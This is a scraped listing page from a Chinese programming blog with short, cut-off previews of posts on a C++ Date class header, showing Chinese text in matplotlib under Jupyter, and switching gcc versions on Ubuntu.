1. 头文件 #pragma once #include <iostream> using namespace std;class Date { public:Date(int year 1, int month 1, int day 1);int GetMonthDay();bool operator>(const Date& d) const;bool operator>(const Date& d)const;bool operator<(c…
阅读更多...
机器学习--jupyter-matplotlib使用中无法显示中文

机器学习--jupyter-matplotlib使用中无法显示中文

jupyter使用中无法显示中文 在jupyter中&#xff0c;通过matplotlib作图时可能会添加中文标题&#xff0c;但有时候会不显示中文 import numpy as np import matplotlib.pyplot as pltx np.arange(0, 6, 0.1) # 以0.1为单位&#xff0c;成0到6的数据 y1 np.sin(x) y2 np.c…
阅读更多...
ubuntu安装多个gcc并设置可切换

ubuntu安装多个gcc并设置可切换

测试环境&#xff1a; Ubuntu16.04 1. 查看当前有几个gcc&#xff0c;g ls /usr/bin/gcc* ls /usr/bin/g* 有两个版本&#xff0c;5和7. 2. 安装特定gcc/g 版本 可以用sudo apt install gcc-version安装&#xff0c;比如说我想安装gcc-7&#xff0c;则命令为sudo apt instal…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023